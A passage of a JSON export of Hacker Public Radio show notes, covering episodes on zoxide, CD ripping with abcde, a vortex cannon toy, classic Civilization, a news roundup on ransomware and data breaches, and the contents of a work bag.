                                                            • virtualbox: VirtualBox is a\npowerful x86 and AMD64/Intel64 virtualization product for enterprise as\nwell as home use.
                                                            • \n
                                                            • wikipedia:\nTelemetry is the in situ collection of measurements or other data at\nremote points and their automatic transmission to receiving equipment\n(telecommunication) for monitoring.
                                                            • \n
                                                            • gnu:\nPublished software should be free software. To make it free software,\nyou need to release it under a free software license.
                                                            • \n
                                                            • microsoft:\nMICROSOFT SOFTWARE LICENSE TERMS.
                                                            • \n
                                                            • apple: software\nlicense agreements for currently shipping Apple products.
                                                            • \n
                                                            • cdc:\nHealth Insurance Portability and Accountability Act of 1996\n(HIPAA).
                                                            • \n
                                                            • nhs: The NHS website for\nEngland.
                                                            • \n
                                                            • wikipedia:\nRansomware is a type of malware from cryptovirology that threatens to\npublish the victim's personal data or permanently block access to it\nunless a ransom is paid off.
                                                            • \n
                                                            • wikipedia:\nInternet Explorer (formerly Microsoft Internet Explorer and Windows\nInternet Explorer, commonly abbreviated IE or MSIE) is a discontinued\nseries of graphical web browsers developed by Microsoft which was used\nin the Windows line of operating systems.
                                                            • \n
                                                            • wikipedia:\nMicrosoft Edge is a proprietary, cross-platform web browser created by\nMicrosoft.
                                                            • \n
                                                            • oggcamp: OggCamp is an\nunconference celebrating Free Culture, Free and Open Source Software,\nhardware hacking, digital rights, and all manner of collaborative\ncultural activities and is committed to creating a conference that is as\ninclusive as possible.
                                                            • \n
                                                            • penguicon: A happy place\nwhere hackers, makers, foodies, open source software junkies, anime\nbuffs, and science fiction fans of all ages and backgrounds come\ntogether.
                                                            • \n
                                                            • mozillafestival:\nMozFest is a unique hybrid: part art, tech and society convening, part\nmaker festival, and the premiere gathering for activists in diverse\nglobal movements fighting for a more humane digital world.
                                                            • \n
                                                            • fosdem: FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.
                                                            • \n
                                                            • wikipedia:\nA hybrid integrated circuit (HIC), hybrid microcircuit, hybrid circuit\nor simply hybrid is a miniaturized electronic circuit constructed of\nindividual devices, such as semiconductor devices (e.g. transistors,\ndiodes or monolithic ICs) and passive components (e.g. resistors,\ninductors, transformers, and capacitors), bonded to a substrate or\nprinted circuit board (PCB).
                                                            • \n
                                                            • wikipedia: A\nreal-time clock (RTC) is an electronic device (most often in the form of\nan integrated circuit) that measures the passage of time.
                                                            • \n
                                                            • eurovision: The Eurovision Song\nContest.
                                                            • \n
                                                            • wikipedia: Blue\nlaws, also known as Sunday laws, Sunday trade laws and Sunday closing\nlaws, are laws restricting or banning certain activities on specified\ndays, usually Sundays in the western world.
                                                            • \n
                                                            • wikipedia: A\ncensus is the procedure of systematically acquiring, recording and\ncalculating information about the members of a given population.
                                                            • \n
                                                            • businesspundit:\nThe Commercialization Of Our 25 Favorite Holidays
                                                            • \n
                                                            • wikipedia:\nLeave It to Beaver is an iconic American television situation comedy\nabout an American family of the 1950s and early 1960s.
                                                            • \n
                                                            • wikipedia:\nThe COVID-19 pandemic, also known as the coronavirus pandemic, is an\nongoing global pandemic of coronavirus disease 2019 (COVID-19) caused by\nsevere acute respiratory syndrome coronavirus 2 (SARS-CoV-2). The novel\nvirus was first identified in an outbreak in the Chinese city of Wuhan\nin December 2019.
                                                            • \n
                                                            • who:\nCOVID-19 transmission and protective measures.
                                                            • \n
                                                            • forbes:\nCDC: 10 Ways To Dine Safely At A Restaurant With Coronavirus\nAround.
                                                            • \n
                                                            • restaurant:\nCOVID-19 Restaurant Impact Survey.
                                                            • \n
                                                            • subway: Subway is an\nAmerican multinational fast food restaurant franchise that specializes\nin submarine sandwiches, wraps, salads and drinks.
                                                            • \n
                                                            • dominos: Domino's Pizza, Inc.,\ntrading as Domino's, is a Michigan-based multinational pizza restaurant\nchain founded in 1960 and led by CEO Russell Weiner.
                                                            • \n
                                                            • mcdonalds:\nMcDonald's Corporation is an American multinational fast food chain,\nfounded in 1940 as a restaurant operated by Richard and Maurice\nMcDonald, in San Bernardino, California, United States.
                                                            • \n
                                                            • wikipedia: In\npublic health, social distancing, also called physical distancing, is a\nset of non-pharmaceutical interventions or measures intended to prevent\nthe spread of a contagious disease by maintaining a physical distance\nbetween people and reducing the number of times people come into close\ncontact with each other.
                                                            • \n
                                                            • wikipedia:\nDue to the COVID-19 pandemic, a number of non-pharmaceutical\ninterventions colloquially known as lockdowns (encompassing stay-at-home\norders, curfews, quarantines, cordons sanitaires and similar societal\nrestrictions) have been implemented in numerous countries and\nterritories around the world.\n
                                                                \n
                                                              • wikipedia:\nCOVID-19 lockdowns by country.
                                                              • \n
                                                            • \n
                                                            • bbc:\nCovid-19: What is the new three tier system after lockdown?
                                                            • \n
                                                            • wikipedia:\nA telephone directory, commonly called a telephone book, telephone\naddress book, phonebook, or the white and yellow pages, is a listing of\ntelephone subscribers in a geographical area or subscribers to services\nprovided by the organization that publishes the directory.
                                                            • \n
                                                            • cdc:\nIt’s important to keep your blood sugar levels in your target range as\nmuch as possible to help prevent or delay long-term, serious health\nproblems, such as heart disease, vision loss, and kidney disease.
                                                            • \n
                                                            • wikipedia: Whisky\nor whiskey is a type of distilled alcoholic beverage made from fermented\ngrain mash.
                                                            • \n
                                                            • wikipedia:\nPowerade is a sports drink created, manufactured and marketed by The\nCoca-Cola Company.
                                                            • \n
                                                            • katexic:\nbusthead (bust-head). noun. Cheap, strong liquor, usually of the illegal\nvariety.
                                                            • \n
                                                            • skrewballwhiskey:\nThe Original Peanut Butter Whiskey.
                                                            • \n
                                                            • olesmoky:\nPeanut Butter Whiskey.
                                                            • \n
                                                            • thepartysource:\nBlind Squirrel Peanut Butter Whiskey 750 ml.
                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3835,"date":"2023-04-14","title":"Retro Karaoke machine Part 2","duration":954,"summary":"Archer72 fixes misplaced belts and figures out what really happened","notes":"
                                                              \n
                                                            • The tape stops in the middle

                                                            • \n
                                                            • Put pressure here

                                                            • \n
                                                            \n

                                                            \n

                                                            \n

                                                            Video clip of Star Wars audio drama playing Video\nclip on Archive.org

                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro, karaoke, cassette tape","version":0,"downloads":0,"valid":1}, {"id":3836,"date":"2023-04-17","title":"Using 'zoxide', an alternative to 'cd'","duration":715,"summary":"Dave has been using 'zoxide' for a little while and really likes it","notes":"
                                                            \n\n

                                                            Overview

                                                            \n

                                                            I like the idea that there are tools available to enhance the\n'cd' command, remembering places you have been in the file\nsystem and taking you there easily.

                                                            \n

                                                            I use 'pushd'\nand 'popd' for moving in and out of directories from a\nplace I want to do most of my work, but something more powerful than\nthese or cd have always seemed desirable.

                                                            \n

                                                            I was using 'autojump' for a while last year, but didn’t\nreally get on with it. This was mainly because there was no way of\nexcluding certain directories which had been visited from its list.

                                                            \n

                                                            Recently I heard of 'zoxide', which I have been trying\nand really like.

                                                            \n
                                                            \n

                                                            zoxide

                                                            \n

                                                            What is it?

                                                            \n

                                                            From the GitHub\npage:

                                                            \n
                                                            \n

                                                            zoxide is a smarter cd command, inspired by z1 and\nautojump.

                                                            \n

                                                            It remembers which directories you use most frequently, so you can\n“jump” to them in just a few keystrokes. zoxide works on all major\nshells.

                                                            \n
                                                            \n

                                                            In its man page it’s billed as “A faster way to navigate your\nfilesystem”.

                                                            \n

                                                            It’s written in Rust so is very fast.

                                                            \n

                                                            What does it do?

                                                            \n
                                                              \n
                                                            • It offers the functionality of the Linux/Unix 'cd'\ncommand.

                                                            • \n
                                                            • It collects the directories you have visited into a database and\ngives them a ranking relating to the number of times they have been\nvisited. It applies aging rules and removes these when the ranking drops\nbelow one. It uses frecency to do this - a combination of\nfrequency and recency. (See the Wikipedia page\nexplaining this word)

                                                            • \n
                                                            • It performs algorithmic matching on the directory you specify and\ntakes you to the highest ranking best match.

                                                            • \n
                                                            • It can resolve conflicts between matching directories or can\nallow selection through an interactive interface.

                                                            • \n
                                                            • It can interface to fzf, a general-purpose\ncommand-line fuzzy finder.

                                                            • \n
                                                            • It “knows” where it is (in the Bash shell) by calling a function\nout of the PROMPT_COMMAND variable. This can be used to\nexecute one or more commands before displaying the prompt for a new\ncommand. This is a common way to hook monitoring commands into\na Bash session.

                                                            • \n
                                                            \n

                                                            Where can you get it?

                                                            \n

                                                            I installed it from the Debian Testing repo, but I got\n'zoxide v0.4.3-unknown' whereas the latest version is\n0.9.0. Installing from the GitHub page seems the\nbest option if you want the latest version.

                                                            \n

                                                            There is an installation script on the GitHub page and it’s possible\nto download it with curl and pipe it to Bash. I’m never\ncomfortable doing this, but that’s your choice.

                                                            \n

                                                            I also installed fzf from the Debian Testing repo,\nthough I’m still learning what this can do, since it’s very rich in\nfeatures!

                                                            \n

                                                            How do you set it up?

                                                            \n

                                                            This process is shell-specific. I run Bash so I have added it to my\n~/.bashrc and the command there is:

                                                            \n
                                                            eval "$(zoxide init bash)"
                                                            \n

                                                            What this does is generate a number of Bash functions and aliases and\nsome commands which are fed into eval and executed in the\ncurrent context.

                                                            \n

                                                            Function z is created which gives a way of invoking\nzoxide in fewer keystrokes, though the full functionality\nof zoxide is not available through this function, use the\nfull zoxide command.

                                                            \n

                                                            Function zi lists all of the stored directories courtesy\nof fzf. I haven’t tested this without fzf, so\nI’m not sure what it does if it’s not available. The scrollable list can\nbe navigated and a directory chosen with the Enter key (or\ndouble mouse click). In the scrollable list, if characters are typed\nthey are used to select directories from the list, so that it’s simple\nto find a directory whose exact name you have forgotten.

                                                            \n

                                                            How to tune it?

                                                            \n

                                                            The zoxide behaviour can be modified through environment\nvariables (and at setup time).

                                                            \n

                                                            For example it is possible to define directories which are not to be\nstored using the environment variable _ZO_EXCLUDE_DIRS.\nThis must be done before running zoxide init. In my case, I\nhave the following in my ~/.bashrc:

                                                            \n
                                                            export _ZO_EXCLUDE_DIRS="/media/extras:/media/extras/*"\neval "$(zoxide init bash)"
                                                            \n

                                                            The setup details are to be found in the GitHub documentation.

                                                            \n

                                                            Conclusion

                                                            \n

                                                            I really like this. It’s fast and configurable, and with\nfzf gives some great command-line features. There are\neditor plugins, such as zoxide.vim for Vim and Neovim (not\nused yet). It also integrates with other third-party tools.

                                                            \n

                                                            It seems to be the best of its type!

                                                            \n

                                                            Links

                                                            \n\n
                                                            \n
                                                            \n
                                                              \n
                                                            1. I didn’t know what 'z'\nwas when recording the audio. I did some research and found it, and can\nsee how 'zoxide' has similar behaviour. I have added a link\nin case you want to investigate this yourself.↩︎

                                                            2. \n
                                                            \n
                                                            \n
                                                            \n","hostid":225,"series":11,"explicit":1,"license":"CC-BY-SA","tags":"directory,folder,change directory,cd,zoxide,autojump","version":0,"downloads":0,"valid":1}, {"id":3837,"date":"2023-04-18","title":"Make a vortex cannon","duration":448,"summary":"How to make a vortex cannon which can extinguish a candle at about ten feet","notes":"

                                                            Make a Vortex Cannon.

                                                            \n\n

                                                            This is a device for firing a coherent torus-shaped vortex across a room. If it is made with a degree of care, it will extinguish the flame of a candle from some distance.

                                                            \n\n

                                                            What you will need

                                                            \n\n
                                                              \n
                                                            1. An empty Pringles can. This is the cylindrical foil-lined cardboard tube which originally contained Pringles potato chips.
                                                            2. \n
                                                            3. A party balloon.
                                                            4. \n
                                                            5. Some strong parcel tape.
                                                            6. \n
                                                            7. A hole punch capable of making a clean hole of about two centimetres (three quarters of an inch) in diameter.
                                                            8. \n
                                                            9. A small drill.
                                                            10. \n
                                                            \n\n

                                                            What to do

                                                            \n\n

                                                            Step 1:

                                                            \n\n

                                                            Drill a small hole in the metal end-plate of the Pringles can. This hole needs to be large enough to accommodate the threaded portion of the hole punch.

                                                            \n\n

                                                            The hole needs to be as close to the exact dead-centre of the plate as you can make it.

                                                            \n\n

                                                            Use the hole punch to make as clean as possible a hole as accurately as possible.

                                                            \n\n

                                                            Here in the UK it is possible to obtain a hole punch called a Q-Max punch from Maplin, the supplier of electronic and hobby parts.

                                                            \n\n

                                                            I am sure they are available from other sources.

                                                            \n\n

                                                            It is very important that this hole is:

                                                            \n\n
                                                              \n
                                                            • As close to the centre of the end-plate as is humanly possible
                                                            • \n
                                                            • Has edges which are clean and crisp. Hence the use of a hole punch.
                                                            • \n
                                                            \n\n

                                                            It is these two factors more than any other that will effect the efficiency of the cannon.

                                                            \n\n

                                                            Step 2:

                                                            \n\n

                                                            Cut off the mouth-piece end of the balloon.

                                                            \n\n

                                                            Stretch it over the open end of the Pringles can and pull it as tight over the end as you can.

                                                            \n\n

                                                            When I say the open end I mean the end from which you removed the lid and chomped on the chips.

                                                            \n\n

                                                            Use the parcel tape to wrap the balloon tightly around the circumference of the cylinder, anchoring it in position so that the open end of the can is now like a drum formed by the stretchy membrane of the balloon. Nice and tight.

                                                            \n\n

                                                            The cannon is now ready to fire.

                                                            \n\n

                                                            Firing the cannon

                                                            \n\n

                                                            Pinch the centre of the balloon membrane and pull it back as far as you can. This might be easier if you push some kind of (blunt ended) rod into the can from the hole end and push out the membrane until you can pinch it.

                                                            \n\n

                                                            Some other stretchy latex device which has a little bulb at the end might be easier to get hold of, but I can't think of such an item, can you?

                                                            \n\n

                                                            When you let go of the membrane with it stretched out as far as you can go, what happens?

                                                            \n\n

                                                            Well, if you made the small circular hole at the metal-plate end of the cylinder nice and clean and central, the cannon fires a coherent vortex of air.

                                                            \n\n

                                                            What do I mean by a 'vortex'?

                                                            \n\n

                                                            Imagin a ring doughnut compromised of air shooting out of the end of the tube like a smoke ring out of a Hobbit.

                                                            \n\n

                                                            The vortex is spinning. Not like the bullet fired from a rifled barrel, but as if it is constantly trying to turn itself inside-out.

                                                            \n\n

                                                            This spinning keeps the torus (this is what the shape of a ring doughnut is called) coherent and intact for several feet.

                                                            \n\n

                                                            If you made the hole in the metal plate end of the tube nice and clean, and you stretched the balloon membrane out as far as you possibly can, the cannon is capable of blowing out the flame of a candle at about ten feet (three metres) in the still air in a room.

                                                            \n\n

                                                            As soon as it leaves the cannon, the vortex will begin to degrade and fall apart.

                                                            \n\n

                                                            A word of warning

                                                            \n\n

                                                            This little toy might only be firing a torus of air, but do not be tempted to shoot yourself or the cat in the face at point blank range. It hurts.

                                                            \n\n

                                                            Mike

                                                            \n\n","hostid":282,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"vortex cannon, make, torus","version":0,"downloads":0,"valid":1}, {"id":3838,"date":"2023-04-19","title":"Biking to Work","duration":772,"summary":"EMERGENCY SHOW: Jon Kulp records an episode while riding his bicycle to work","notes":"

                                                            Biking to Work

                                                            \n

                                                            In this episode I record while I'm riding my bicycle to work, using my new audio adapter to plug my $2 microphone into my phone. To make the recording I used the Hi-Q mp3 recorder app on my Android device. In the end I didn't do anything in post-production to adjust the volume or compression of the audio. It turned out pretty well "as is."

                                                            \n

                                                            Links

                                                            \n\n

                                                            Credits

                                                            \n

                                                            Music bumpers are from Kimiko Ishizaka's The Open Goldberg Variations: http://www.opengoldbergvariations.org, used by permission of their CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license.

                                                            \n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HighQ MP3, Bike, ZOOM Recorder.","version":0,"downloads":0,"valid":1}, {"id":3839,"date":"2023-04-20","title":"Rip a CD in the terminal","duration":300,"summary":"Archer72 rips CD's in the terminal and avoids the whims of the media companies","notes":"

                                                            Wiki

                                                            \n

                                                            ABCDE\nWiki

                                                            \n

                                                            Github

                                                            \n

                                                            ABCDE Github page

                                                            \n

                                                            Git

                                                            \n

                                                            ABCDE Git page

                                                            \n

                                                            Ask Ubuntu page

                                                            \n\n

                                                            Custom abcde configuration file

                                                            \n
                                                              \n
                                                            • For only ogg,mp3,flac and opus

                                                            • \n
                                                            • custom-abcde.conf\n\"abcde CD ripping configuration file\"

                                                            • \n
                                                            \n

                                                            freedb.freedb.org is dead; use gnudb.gnudb.org\ninstead

                                                            \n

                                                            Bugzilla entry for\nfreedb.org

                                                            \n

                                                            Updated CDDB location in .abcde.conf

                                                            \n
                                                            CDDBURL="http://gnudb.gnudb.org/~cddb/cddb.cgi"
                                                            \n

                                                            Alias in BASH

                                                            \n
                                                            alias ripcd.mp3='abcde -o mp3'\nalias ripcd.opus='abcde -o opus'\nalias ripcd.ogg='abcde -o ogg'\nalias ripcd.opus='abcde -o opus'
                                                            \n

                                                            More Info

                                                            \n

                                                            https://askubuntu.com/questions/788327/use-abcde-to-produce-high-quality-flac-and-mp3-output-with-album-art-under-xenia#788757

                                                            \n
                                                            abcde -o 'flac:-8,mp3:-b 320' -G
                                                            \n","hostid":318,"series":11,"explicit":0,"license":"CC-BY-SA","tags":"optical media, terminal apps, lightweight apps, rip cd","version":0,"downloads":0,"valid":1}, {"id":3840,"date":"2023-04-21","title":"Playing the Original Civilization","duration":899,"summary":"Hints on playing the game that started it all","notes":"

                                                            This game is pretty old, but I found that wen I started a game\nrecently to prepare for this episode that it was still as addictive as\never. I won't claim it is essential for everyone to run out and get it,\nbut if you did happen to find a copy somewhere and play it, you might\nfind you enjoy it. In this episode I give a few hints about getting\nstarted with this game.

                                                            \n

                                                            Links:

                                                            \n
                                                              \n
                                                            • https://civilization.fandom.com/wiki/Help_with_playing_Civ1#Choice_of_initial_city_site
                                                            • \n
                                                            • https://www.palain.com/gaming/sid-meiers-civilization/playing-the-original-civilization-hints/
                                                            • \n
                                                            \n","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization","version":0,"downloads":0,"valid":1}, {"id":3841,"date":"2023-04-24","title":"The Oh No! News.","duration":1268,"summary":"Sgoti and Bumble bee discusses U.S. Marshals Service Ransomware attack and more.","notes":"

                                                            The Oh No! news.

                                                            \n

                                                            Oh No! News is Good\nNews.

                                                            \n
                                                            \n
                                                              \n
                                                            • Threat analysis; your attack surface.
                                                            • \n
                                                            • Article: US\nMarshals Service Computer System Hit by Ransomware Attack.\n
                                                                \n
                                                              • Author: Michael Kan. (2023,\nFeb 28).
                                                              • \n
                                                              • The agency uncovered the intrusion on Feb. 17 2023, when it\ndiscovered “a ransomware and data exfiltration event affecting a\nstandalone USMS system.” That means the hackers stole information from\nthe computer while planting malicious code capable of encrypting the\ndata inside.
                                                              • \n
                                                              • “The affected system contains law enforcement sensitive information,\nincluding returns from legal process, administrative information, and\npersonally identifiable information pertaining to subjects of USMS\ninvestigations, third parties, and certain USMS employees,” the agency\nsays.
                                                              • \n
                                                            • \n
                                                            • Article: US\nShuts Down 'Netwire' Malware That Posed as Legit Remote Admin Tool.\n
                                                                \n
                                                              • Author: Michael Kan. (2023,\nMar 10).
                                                              • \n
                                                              • Worldwiredlabs.com has been around since at least 2012(Opens in a\nnew window), offering a software product called “Netwire,” which is\nsupposedly designed to help IT support staff manage computers remotely.\nBefore the site was seized, it was offering Netwire for $10 per month or\n$60 per year. However, US investigators say the site was a front to sell\nthe software as a hacking tool to cybercriminals.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Federal\nAuthorities Seize Internet Domain Selling Malware Used to Illegally\nControl and Steal Data from Victims’ Computers.\n
                                                                \n
                                                              • Author: U.S. Attorney's Office, Central District of\nCalifornia. (2023, Mar 9).
                                                              • \n
                                                              • A seizure warrant approved by a United States Magistrate Judge on\nMarch 3 and executed on Tuesday led to the seizure of\nwww.worldwiredlabs.com, which offered the NetWire remote access trojan\n(RAT), a sophisticated program capable of targeting and infecting every\nmajor computer operating system. “A RAT is a type of malware that allows\nfor covert surveillance, allowing a ‘backdoor’ for administrative\ncontrol and unfettered and unauthorized remote access to a victim’s\ncomputer, without the victim’s knowledge or permission,” according to\ncourt documents filed in Los Angeles.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.\n
                                                                \n
                                                              • Author: Sean Lyngaas. (2023, Mar 24).
                                                              • \n
                                                              • The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.
                                                              • \n
                                                            • \n
                                                            • Article: Data\nBreach at DC Health Insurance Exchange Ensnares US Lawmakers.\n
                                                                \n
                                                              • Author: Michael Kan. (2023,\nMar 9).
                                                              • \n
                                                              • A data breach at a health insurance exchange in Washington, D.C. has\nled a hacker to steal the personal information of US lawmakers and their\nstaff.
                                                              • \n
                                                            • \n
                                                            • Article: Independent\nLiving Systems Provides Notice of Data Event.\n
                                                                \n
                                                              • Author: Independent Living Systems, LLC. (2023, Mar\n14).
                                                              • \n
                                                              • The types of impacted information varies by individual and could\nhave included: name, address, date of birth, driver's license, state\nidentification, Social Security number, financial account information,\nmedical record number, Medicare or Medicaid identification, CIN#, mental\nor physical treatment/condition information, food delivery information,\ndiagnosis code or diagnosis information, admission/discharge date,\nprescription information, billing/claims information, patient name, and\nhealth insurance information.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: Data\nBreach Notifications.\n
                                                                \n
                                                              • Author: Maine Attorney General. (2023, Mar\n14).
                                                              • \n
                                                              • Total number of persons affected (including residents):\n4,226,508
                                                              • \n
                                                              • Total number of Maine residents affected: 238
                                                              • \n
                                                              • If the number of Maine residents exceeds 1,000, have the consumer\nreporting agencies been notified:
                                                              • \n
                                                              • Date(s) Breach Occurred: 06/03/2022
                                                              • \n
                                                              • Date Breach Discovered: 01/17/2023
                                                              • \n
                                                              • Description of the Breach:
                                                              • \n
                                                              • External system breach (hacking)
                                                              • \n
                                                              • Information Acquired - Name or other personal identifier in\ncombination with: Social Security Number
                                                              • \n
                                                            • \n
                                                            • Article: Alleged\nBreachForums owner Pompompurin arrested on cybercrime charges.\n
                                                                \n
                                                              • Author: Sergiu\nGatlan. (2023, Mar 17).
                                                              • \n
                                                              • U.S. law enforcement arrested on Wednesday a New York man believed\nto be Pompompurin, the owner of the BreachForums hacking forum.
                                                              • \n
                                                            • \n
                                                            • Supporting Article: FBI\ntakes down cybercrime forum that touted data connected to breach\naffecting US lawmakers.\n
                                                                \n
                                                              • Author: Sean Lyngaas. (2023, Mar 24).
                                                              • \n
                                                              • The FBI has arrested the alleged founder of a popular cybercriminal\nforum that touted data stolen in a hack affecting members of Congress\nand thousands of other people and taken the website down, the Justice\nDepartment said Friday.
                                                              • \n
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • User space.
                                                            • \n
                                                            • Article: After\nPayPal Revokes Controversial Misinformation Policy, Major Concerns\nRemain Over $2,500 Fine..\n
                                                                \n
                                                              • Author: Emily Mason (2022, Oct 22).
                                                              • \n
                                                              • After facing backlash earlier this month, PayPal PYPL -1.5%\nrescinded a line in its policy stating that spreading misinformation on\nthe platform would be subject to a $2,500 fine. Today, the remaining\nlanguage leaves users and elected officials demanding more clarity over\nhow the platform defines fine-worthy speech.
                                                              • \n
                                                            • \n
                                                            • Bumble Bee's first experience of the HPR website.
                                                            • \n
                                                            \n
                                                            \n
                                                              \n
                                                            • Additional Information.\n
                                                                \n
                                                              • What is a\nData Breach? A data breach is a security violation, in which\nsensitive, protected or confidential data is copied, transmitted,\nviewed, stolen, altered or used by an individual unauthorized to do\nso.
                                                              • \n
                                                              • What is\nMalware? Malware (a portmanteau for\nmalicious software) is any software intentionally designed to cause\ndisruption to a computer, server, client, or computer network, leak\nprivate information, gain unauthorized access to information or systems,\ndeprive access to information, or which unknowingly interferes with the\nuser's computer security and privacy.
                                                              • \n
                                                              • What is\na Payload? In the context of a computer virus or worm, the payload\nis the portion of the malware which performs malicious action; deleting\ndata, sending spam or encrypting data. In addition to the payload, such\nmalware also typically has overhead code aimed at simply spreading\nitself, or avoiding detection.
                                                              • \n
                                                              • What is\nPhishing? Phishing is a form of social\nengineering where attackers deceive people into revealing sensitive\ninformation or installing malware such as ransomware. Phishing\nattacks have become increasingly sophisticated and often transparently\nmirror the site being targeted, allowing the attacker to observe\neverything while the victim is navigating the site, and transverse any\nadditional security boundaries with the victim.
                                                              • \n
                                                              • What is\nInformation Security (InfoSec)? Information security, sometimes\nshortened to InfoSec, is the practice of protecting information by\nmitigating information risks.\nIt is part of information\nrisk management.
                                                              • \n
                                                              • What is a\nVulnerability (computing)? Vulnerabilities are flaws in a computer\nsystem that weaken the overall security of the device/system.\nVulnerabilities can be weaknesses in either the hardware itself, or the\nsoftware that runs on the hardware.
                                                              • \n
                                                              • What is an\n\"Attack Surface\"? The attack surface of a software environment is\nthe sum of the different points (for \"attack vectors\") where an\nunauthorized user (the \"attacker\") can try to enter data to or extract\ndata from an environment. Keeping the attack surface as small as\npossible is a basic security measure.
                                                              • \n
                                                              • What is an\n\"Attack Vector\"? In computer security, an attack vector is a\nspecific path, method, or scenario that can be exploited to break into\nan IT system, thus compromising its security. The term was derived from\nthe corresponding notion of vector in biology. An attack vector may be\nexploited manually, automatically, or through a combination of manual\nand automatic activity.
                                                              • \n
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"US Marshals Service Ransomware, Netwire Malware, US Lawmakers Data Breach, Independent Living System","version":0,"downloads":0,"valid":1}, {"id":3842,"date":"2023-04-25","title":"What’s in my bag series","duration":1923,"summary":"In this episode I go through the contents of the bag I take to work.","notes":"

                                                            Introduction

                                                            \n

                                                            A time stamp is added for each item I mention. The time stamp given\ndoes not include the intro added by HPR so you’ll need to add a few more\nseconds to get to the the correct spot in the recording.

                                                            \n

                                                            [1:20] - I mention that if you are struggling to think of a topic for\nan HPR show then the HPR site contains a list of requested topics which\nyou can choose from. https://hackerpublicradio.org/requested_topics.php

                                                            \n

                                                            [1:55] - Picture 01 show the “Wenger” rucksack (Backpack) I take to\nwork. It was purchased many years ago and is probably no longer\navailable.

                                                            \n

                                                            Picture 1
                                                            \n

                                                            \n

                                                            First front zip section

                                                            \n

                                                            [3:20] - I mention that I suffered for many years with Hay fever and\nhave had great success with Mixed Pollen 30C tablets which I bought on\nAmazon. Unknown to me at the time these were Homeopathic with miniscule\nconcentration. Despite this they seems to have cured my Hay fever. Refer\nto the links below.

                                                            \n

                                                            Wikipedia\narticle on Homeopathic dilutions

                                                            \n

                                                            Amazon\nlink to Weleda Mixed Pollen 30C Tablets

                                                            \n

                                                            [4:20] - Link to some unremarkable Iphone headphones I use which I\nbought from Amazon. Strangely they seem to constantly fall out of my\nleft ear but remain in my right ear.

                                                            \n

                                                            UGREEN\nHiTune Lightning Headphones MFi Certified In Ear Headphones with\nLightning Plug Wired Earbuds Mic In-Line Control for iPhone Compatible\nwith iPhone

                                                            \n

                                                            [4:43] - Wedze\nHand warmers, link from Decathlon.

                                                            \n

                                                            First main compartment

                                                            \n

                                                            [5:40] - Picture 02 shows the leather pouch pocket protector that I\nused to carry coins. I no longer have a use for it as I no longer carry\nchange. Despite this for some reason I still continue to carry it back\nand forward to work.

                                                            \n

                                                            Picture 2
                                                            \n

                                                            \n

                                                            [6:25] - Pictures 03 and 04 show the Essentials fold back clips 19mm\nI use on a daily basis to organise bundles of paperwork.

                                                            \n

                                                            Picture 3
                                                            \n

                                                            \n

                                                            Picture 4
                                                            \n

                                                            \n

                                                            Wikipedia link\nto article about Bulldog clips which are not exactly the same item but\nserve the same purpose.

                                                            \n

                                                            [7:50] - Picture 05 shows the rubber (Eraser) I purchased from the\nNew Lanark Village Store. The proceeds go to the RNLI (Royal National\nLifeboat Institution).

                                                            \n

                                                            Picture 5
                                                            \n

                                                            \n

                                                            Wikipedia article\nabout the New Lanark Village
                                                            \nLink\nto New Lanark Village Store
                                                            \nWikipedia\narticle about the RNLI (Royal National Lifeboat Institution)

                                                            \n

                                                            [8:50] - I mention a plastic bag clip – 08:50. Link\nto similar plastic bag clip on Amazon

                                                            \n

                                                            [8:55] - I mention a rubber band. Link to rubber band\narticle on Wikipedia

                                                            \n

                                                            [9:10] - I mention a silica gel pouch I found in my work bag. Refer\nto picture 06.
                                                            \nLink to Silica Gel\narticle on Wikipedia.

                                                            \n

                                                            Picture 6
                                                            \n

                                                            \n

                                                            [9:40] - I mention a squishy ear defender. Refer to picture 07 Link to Wikipedia article\nabout ear plugs

                                                            \n

                                                            Picture 7
                                                            \n

                                                            \n

                                                            [10:20] - I mention that I carry Ain Stein 0.7 HB Pencil lead in my\nbag. Link\nto Ain Stein 0.7mm HB Pentel pencil leads on Amazon.

                                                            \n

                                                            [10:50] – I mention that I carry a four colour Bic pen. Amazon\nlink to Bic four coloured pen

                                                            \n

                                                            [11:05] – I mention that I carry a Pentel P207 propelling pencil and\nthat this is my favourite writing implement. Amazon\nlink to Pentel P207 propelling pencil, they also offer other models with\ndifferent thicknesses of lead.

                                                            \n

                                                            Wikipedia article\nabout the Pentel company

                                                            \n

                                                            [13:20] – I mention that I carry black and white Eding 780 paint\nmarker pens. Amazon\nlink to Eding 780 paint marker pens.

                                                            \n

                                                            [13:50] – I mention that I carry a Southord C801 Lock picking set\nwhich I was given as a birthday present one year. Amazon\nlink to Southord C801 Lock picking set

                                                            \n

                                                            Wikipedia\narticle about lock picking

                                                            \n

                                                            [15:35] - I mention that it is generally very easy to pick a\ncombination lock. Link to YouTube video\nexplaining how to pick a combination lock

                                                            \n

                                                            [16:45] I mention I had some documentation bout the Python function\nurllib.request. I was using this function to scrape text from the HPR\nsite. I cover\nhow I used it in my previous HPR episode HPR 2340. Link to\nPython documentation about urllib.request

                                                            \n

                                                            [17:10] I mention that I have some red coloured spot stickers that I\nhave many uses for one of which is to make it easy to see at a glance if\nthe switch that operates an outside light is turned on as without this\nit is not possible without stepping outside to check. Refer to picture\n08.

                                                            \n

                                                            Picture 8
